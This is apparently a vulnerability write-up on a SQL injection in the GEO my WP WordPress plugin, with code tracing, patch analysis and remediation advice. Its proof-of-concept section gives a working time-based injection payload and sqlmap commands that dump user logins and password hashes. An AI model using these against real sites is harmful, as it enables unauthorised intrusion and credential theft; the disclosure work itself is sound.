GEO my WP WordPress plugin banner

CVE-2026-9757: GEO my WP Unauthenticated SQL Injection (CVSS 7.5)

Updated 9 min read

CVE-2026-9757 is a CVSS 7.5 (High) unauthenticated SQL injection vulnerability in the GEO my WP WordPress plugin. An unauthenticated attacker can inject arbitrary SQL through the swlatlng and nelatlng map boundary parameters and extract any data from the site’s database. All versions up to and including 4.5.5 are affected. Version 4.5.5.1 contains the fix.

Vulnerability Summary

FieldValue
Plugin NameGEO my WP
Plugin Sluggeo-my-wp
CVE IDCVE-2026-9757
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeUnauthenticated SQL Injection
Affected Versions<= 4.5.5
Patched Version4.5.5.1
PublishedMay 29, 2026
ResearcherNaoya Takahashi (nakko)
Wordfence AdvisoryLink

Description

The GEO my WP plugin is vulnerable to SQL injection via the swlatlng and nelatlng parameters in all versions up to and including 4.5.5. The plugin reads these parameters from $_SERVER['QUERY_STRING'] using parse_str(). This bypasses WordPress’s wp_magic_quotes protection, which only covers $_POST, $_GET, $_COOKIE, and $_REQUEST.

Each parameter is then split on , using explode(). The resulting fragments are interpolated directly into a SQL BETWEEN clause inside gmw_get_locations_within_boundaries_sql(). There is no is_numeric() validation, no (float) casting, no esc_sql(), and no $wpdb->prepare().

Exploitation requires the site to host the Posts Locator search results shortcode ([gmw form="results" form_id=N]) on a public page, and to have at least one published post with an associated gmw_location row.

Technical Analysis

Vulnerable Function: gmw_get_locations_within_boundaries_sql()

The core vulnerability is in includes/gmw-functions.php around line 669. The function receives two comma-separated coordinate strings, splits them on ,, and builds a raw SQL fragment by direct string interpolation:

function gmw_get_locations_within_boundaries_sql( $southwest = '', $northeast = '' ) {

    if ( empty( $southwest ) || empty( $northeast ) ) {
        return;
    }

    $sw = explode( ',', $southwest );
    $ne = explode( ',', $northeast );

    return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} )
            OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )";
}

$sw[0] and $sw[1] come directly from user input. No validation runs before they land in the SQL string.

How User Input Reaches the SQL

The execution path starts at the shortcode renderer.

Step 1 — Reading $_SERVER['QUERY_STRING']

In includes/class-gmw-form.php line 117, get_form_values() reads the raw query string:

public function get_form_values() {
    // Sanitized and escaped later when outputting values.
    $qs = isset( $_SERVER['QUERY_STRING'] ) ? wp_unslash( $_SERVER['QUERY_STRING'] ) : '';
    return gmw_get_form_values( $this->url_px, $qs );
}

WordPress’s wp_magic_quotes() only protects $_GET, $_POST, $_COOKIE, and $_REQUEST. Reading from $_SERVER['QUERY_STRING'] bypasses that protection entirely.

Step 2 — parse_str() without sanitization

In includes/gmw-functions.php line 520, the raw query string is parsed with parse_str():

function gmw_get_form_values( $prefix = '', $query_string = '' ) {
    $output = array();
    if ( ! empty( $query_string ) ) {
        $query_string = '' === $prefix ? $query_string : str_replace( $prefix, '', $query_string );
        parse_str( $query_string, $output );
        // ...
    }
    return $output;
}

parse_str() URL-decodes the values and stores them in $output. The swlatlng and nelatlng keys arrive with their values unsanitized.

Step 3 — Passing to query args

In includes/class-gmw-form-core.php line 794, the values flow directly into the WordPress query arguments:

$gmw_location_args = array(
    // ...
    'gmw_swlatlng' => ! empty( $this->form['form_values']['swlatlng'] ) ? $this->form['form_values']['swlatlng'] : '',
    'gmw_nelatlng' => ! empty( $this->form['form_values']['nelatlng'] ) ? $this->form['form_values']['nelatlng'] : '',
    // ...
);

Step 4 — SQL injection in posts_clauses filter

In plugins/posts-locator/includes/class-gmw-wp-query.php line 264, the values are passed to the vulnerable SQL-building function:

if ( ! empty( $args['gmw_swlatlng'] ) && ! empty( $args['gmw_nelatlng'] ) ) {
    $where .= gmw_get_locations_within_boundaries_sql( $args['gmw_swlatlng'], $args['gmw_nelatlng'] );
}

Why the Bypass Works

WordPress’s wp_magic_quotes protection runs on $_GET, not on $_SERVER['QUERY_STRING']. Both contain the same query string, but $_SERVER['QUERY_STRING'] is the raw, unprocessed value. The plugin’s developer chose to read from $_SERVER to handle custom URL prefix stripping, but did not add any compensating sanitization.

Contrast with Properly Sanitized Parameters

The same query class correctly validates the gmw_lat and gmw_lng parameters at line 286:

if ( ! is_numeric( $args['gmw_lat'] ) || ! is_numeric( $args['gmw_lng'] ) ) {
    $clauses['where'] .= ' AND 1 = 0';
    return $clauses;
}
$lat = (float) $args['gmw_lat'];
$lng = (float) $args['gmw_lng'];

The swlatlng and nelatlng parameters received none of this treatment.

Proof of Concept

Disclaimer: This PoC is for educational purposes only. Test only on systems you own or have written permission to test.

Prerequisites:

  1. WordPress site running GEO my WP version ≤ 4.5.5
  2. A public page with the shortcode [gmw form="results" form_id=1]
  3. At least one geocoded post (so gmw_location rows exist in the database)

Step 1: Identify the results page

Find a publicly accessible page that renders the Posts Locator results shortcode. The URL will look like https://SITE/RESULTS-PAGE/.

Step 2: Confirm the injection with a time-based payload

Send a baseline request and then an injected request. Compare the response times.

# Baseline — should respond in under 1 second
time curl -s -o /dev/null \
  "http://SITE/RESULTS-PAGE/?swlatlng=-90,-90&nelatlng=90,90"

# Injected — should delay ~5 seconds
time curl -s -o /dev/null \
  "http://SITE/RESULTS-PAGE/?swlatlng=(SELECT(0)FROM(SELECT(SLEEP(5)))x),-90&nelatlng=90,90"

The payload (SELECT(0)FROM(SELECT(SLEEP(5)))x) is injected into $sw[0] (the latitude fragment before the first comma). It produces this SQL:

AND ( gmw_locations.latitude BETWEEN (SELECT(0)FROM(SELECT(SLEEP(5)))x) AND 90 )
AND ( ( -90 < 90 AND gmw_locations.longitude BETWEEN -90 AND 90 ) ... )

MySQL evaluates the subquery, sleeps 5 seconds, and returns 0. If the response is delayed, the site is vulnerable.

Step 3: Automated extraction with sqlmap

# Detect the injection point
sqlmap -u "http://SITE/RESULTS-PAGE/?swlatlng=-90,-90&nelatlng=90,90" \
  -p swlatlng \
  --dbms=mysql \
  --technique=T \
  --level=3 --risk=2 \
  --batch

# Extract WordPress user credentials
sqlmap -u "http://SITE/RESULTS-PAGE/?swlatlng=-90,-90&nelatlng=90,90" \
  -p swlatlng \
  --dbms=mysql \
  --technique=T \
  -D wordpress -T wp_users \
  -C user_login,user_pass \
  --dump --batch

Expected result: sqlmap extracts WordPress user login names and password hashes from the database without any authentication.

Patch Analysis

The fix in version 4.5.5.1 adds a new validation function gmw_parse_latlng_boundary() in includes/gmw-functions.php and applies it at two separate layers.

New validation function:

+function gmw_parse_latlng_boundary( $boundary = '' ) {
+
+    if ( ! is_string( $boundary ) || '' === $boundary ) {
+        return false;
+    }
+
+    $coords = array_map( 'trim', explode( ',', $boundary ) );
+
+    if ( 2 !== count( $coords ) ) {
+        return false;
+    }
+
+    if ( ! is_numeric( $coords[0] ) || ! is_numeric( $coords[1] ) ) {
+        return false;
+    }
+
+    $lat = (float) $coords[0];
+    $lng = (float) $coords[1];
+
+    if ( ! is_finite( $lat ) || ! is_finite( $lng ) ) {
+        return false;
+    }
+
+    if ( abs( $lat ) > 90 || abs( $lng ) > 180 ) {
+        return false;
+    }
+
+    return array( $lat, $lng );
+}

Layer 1 — Early rejection in gmw_get_form_values():

+    if ( isset( $output['swlatlng'] ) && false === gmw_parse_latlng_boundary( $output['swlatlng'] ) ) {
+        unset( $output['swlatlng'] );
+    }
+
+    if ( isset( $output['nelatlng'] ) && false === gmw_parse_latlng_boundary( $output['nelatlng'] ) ) {
+        unset( $output['nelatlng'] );
+    }

Invalid boundary values are removed from the form values array before they can reach any query code.

Layer 2 — Prepared statements in gmw_get_locations_within_boundaries_sql():

-    $sw = explode( ',', $southwest );
-    $ne = explode( ',', $northeast );
-
-    return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} )
-            OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )";
+    $sw = gmw_parse_latlng_boundary( $southwest );
+    $ne = gmw_parse_latlng_boundary( $northeast );
+
+    if ( false === $sw || false === $ne ) {
+        return '';
+    }
+
+    global $wpdb;
+
+    return $wpdb->prepare(
+        ' AND ( gmw_locations.latitude BETWEEN %f AND %f ) AND ( ( %f < %f AND gmw_locations.longitude BETWEEN %f AND %f )
+                OR ( %f > %f AND (gmw_locations.longitude BETWEEN %f AND 180 OR gmw_locations.longitude BETWEEN -180 AND %f ) ) )',
+        $sw[0], $ne[0],
+        $sw[1], $ne[1], $sw[1], $ne[1],
+        $sw[1], $ne[1], $sw[1], $ne[1]
+    );

The fix addresses the root cause, not just the symptom. The validation chain rejects anything that is not exactly two comma-separated finite floats within valid geographic coordinate ranges. The SQL is then built with $wpdb->prepare() using %f placeholders.

Timeline

DateEvent
May 29, 2026Vulnerability published by Wordfence
May 30, 2026Advisory last updated
Version 4.5.5.1Patch released by plugin author

Remediation

Update GEO my WP to version 4.5.5.1 or later. You can update directly from the WordPress admin dashboard under Plugins → Installed Plugins, or download the patched version from wordpress.org.

If you cannot update immediately, consider deactivating the plugin or removing any public pages that render the Posts Locator search results shortcode until the update is applied.

References

  1. Wordfence Advisory — CVE-2026-9757
  2. CVE-2026-9757 on cve.org
  3. Vulnerable: gmw-functions.php L678 — raw SQL interpolation
  4. Vulnerable: class-gmw-form.php L117 — QUERY_STRING read
  5. Vulnerable: gmw-functions.php L520 — parse_str() call
  6. Vulnerable: class-gmw-form-core.php L794 — query args
  7. Vulnerable: class-gmw-wp-query.php L266 — SQL function call
  8. Patch changeset — gmw-functions.php
  9. Diff: 4.5.5 → 4.5.5.1
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee